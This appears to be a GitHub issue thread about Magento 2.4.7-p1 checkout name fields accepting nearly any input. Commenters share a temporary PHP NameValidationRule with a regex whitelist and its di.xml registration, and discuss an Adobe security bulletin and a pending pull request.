<type name="Magento\Quote\Model\ValidationRules\QuoteValidationComposite"> <arguments> <argument name="validationRules" xsi:type="array"> <item name="AllowedCountryValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\AllowedCountryValidationRule</item> <item name="ShippingAddressValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\ShippingAddressValidationRule</item> <item name="ShippingMethodValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\ShippingMethodValidationRule</item> <item name="BillingAddressValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\BillingAddressValidationRule</item> <item name="PaymentMethodValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule</item> <item name="MinimumAmountValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\MinimumAmountValidationRule</item> <item name="NameValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\NameValidationRule</item> </argument> </arguments> </type>
And after:
<type name="Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule"> </type>
<type name="Magento\Quote\Model\ValidationRules\NameValidationRule"> <arguments> <argument name="generalMessage" xsi:type="string" translatable="true">Please check the name fields (first name and last name).</argument> </arguments> </type>
like:
<type name="Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule"> <arguments> <argument name="generalMessage" xsi:type="string" translatable="true">Enter a valid payment method and try again.</argument> </arguments> </type> <type name="Magento\Quote\Model\ValidationRules\NameValidationRule"> <arguments> <argument name="generalMessage" xsi:type="string" translatable="true">Please check the name fields (first name and last name).</argument> </arguments> </type>
I just apply it in our magento - Actually I think it works, thanks
Questions
Does Google reCaptcha v3 help to prevent this sort of fraud?
Is this patch (just came out) the solution to this problem?
https://helpx.adobe.com/security/products/magento/apsb24-61.html
This is the temporary fix for now:
New file: Magento\Quote\Model\ValidationRules\NameValidationRule.php
<?php /** * Copyright © Magento, Inc. All rights reserved. * See COPYING.txt for license details. */ declare(strict_types=1); namespace Magento\Quote\Model\ValidationRules; use Magento\Framework\Validation\ValidationResultFactory; use Magento\Quote\Model\Quote; /** * Class NameValidationRule * Validates the first name and last name fields in a quote. */ class NameValidationRule implements QuoteValidationRuleInterface { /** * Regular expression pattern for validating names. * * \p{L}: Unicode letters. * \p{M}: Unicode marks (diacritic marks, accents, etc.). * ,: Comma. * -: Hyphen. * _: Underscore. * .: Period. * ': Apostrophe mark. * ’: Right single quotation mark. * `: Grave accent. * &: Ampersand. * \s: Whitespace characters (spaces, tabs, newlines, etc.). * \d: Digits (0-9). */ private const PATTERN_NAME = '/(?:[\p{L}\p{M}\,\-\_\.\'’`&\s\d]){1,255}+/u'; /** * @var ValidationResultFactory */ private $validationResultFactory; /** * Constructor. * * @param ValidationResultFactory $validationResultFactory */ public function __construct(ValidationResultFactory $validationResultFactory) { $this->validationResultFactory = $validationResultFactory; } /** * Validate the first name and last name in the quote. * * @param Quote $quote * @return array */ public function validate(Quote $quote): array { $validationErrors = []; $firstName = $quote->getCustomerFirstname(); $lastName = $quote->getCustomerLastname(); if (!$this->isValidName($firstName)) { $validationErrors[] = __('First Name is not valid'); } if (!$this->isValidName($lastName)) { $validationErrors[] = __('Last Name is not valid'); } return [$this->validationResultFactory->create(['errors' => $validationErrors])]; } /** * Check if a name field is valid according to the pattern. * * @param string|null $nameValue * @return bool */ private function isValidName($nameValue): bool { if ($nameValue !== null) { if (preg_match(self::PATTERN_NAME, $nameValue, $matches)) { return $matches[0] === $nameValue; } } return false; } }
Magento\Quote\Model\etc\di.xml
add at the end of
<argument name="validationRules" xsi:type="array">
<item name="NameValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\NameValidationRule</item>
Like:
<type name="Magento\Quote\Model\ValidationRules\QuoteValidationComposite"> <arguments> <argument name="validationRules" xsi:type="array"> <item name="AllowedCountryValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\AllowedCountryValidationRule</item> <item name="ShippingAddressValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\ShippingAddressValidationRule</item> <item name="ShippingMethodValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\ShippingMethodValidationRule</item> <item name="BillingAddressValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\BillingAddressValidationRule</item> <item name="PaymentMethodValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule</item> <item name="MinimumAmountValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\MinimumAmountValidationRule</item> <item name="NameValidationRule" xsi:type="object">Magento\Quote\Model\ValidationRules\NameValidationRule</item> </argument> </arguments> </type>
And after:
<type name="Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule"> </type>
<type name="Magento\Quote\Model\ValidationRules\NameValidationRule"> <arguments> <argument name="generalMessage" xsi:type="string" translatable="true">Please check the name fields (first name and last name).</argument> </arguments> </type>
like:
<type name="Magento\Quote\Model\ValidationRules\PaymentMethodValidationRule"> <arguments> <argument name="generalMessage" xsi:type="string" translatable="true">Enter a valid payment method and try again.</argument> </arguments> </type> <type name="Magento\Quote\Model\ValidationRules\NameValidationRule"> <arguments> <argument name="generalMessage" xsi:type="string" translatable="true">Please check the name fields (first name and last name).</argument> </arguments> </type>
For what it's worth, the files in your draft commit that reference other validators - Street , City etc., are unfortunately not released to a mainstream release yet (checked 2.4.7-p2 and 2.4.6-p7). Only Name is.
Not sure if there's a holdup somewhere getting those merged in. Just wanted to point it out
@lamba
@DazzaRPD https://github.com/magento/magento2/pull/39030 The pull is not yet finished because I am on vacation, the validation goes into the checkout and wishlist but still needs to be integrated in other areas such as login, register, contact etc..
Is anyone from Magento working on that issue? It is very ridiculous that fields validation level on Magento is very low. How they do not limit at least field length (like max 50 character) I have done more tests and fields are accepting almost anything to input :(
Preconditions and environment
Magento version - 2.4.7-p1
Steps to reproduce
Expected result
Magento should not allow to proceed by throwing an error
Actual result
Magento allows the user to proceed further without throwing an error
Additional information
Similar issue is already raised and resolved here - https://github.com/magento/magento2/issues/38331
Release note
No response
Triage and priority